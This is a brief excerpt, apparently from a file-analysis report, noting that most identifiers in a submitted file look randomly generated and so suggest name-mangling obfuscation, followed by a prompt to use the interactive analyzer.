273 of 513 identifiers look randomly generated (e.g. 'zIBbDhEXYnQVnbvyFuzTuBAOTLKzcBKwYwIBKSVU') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.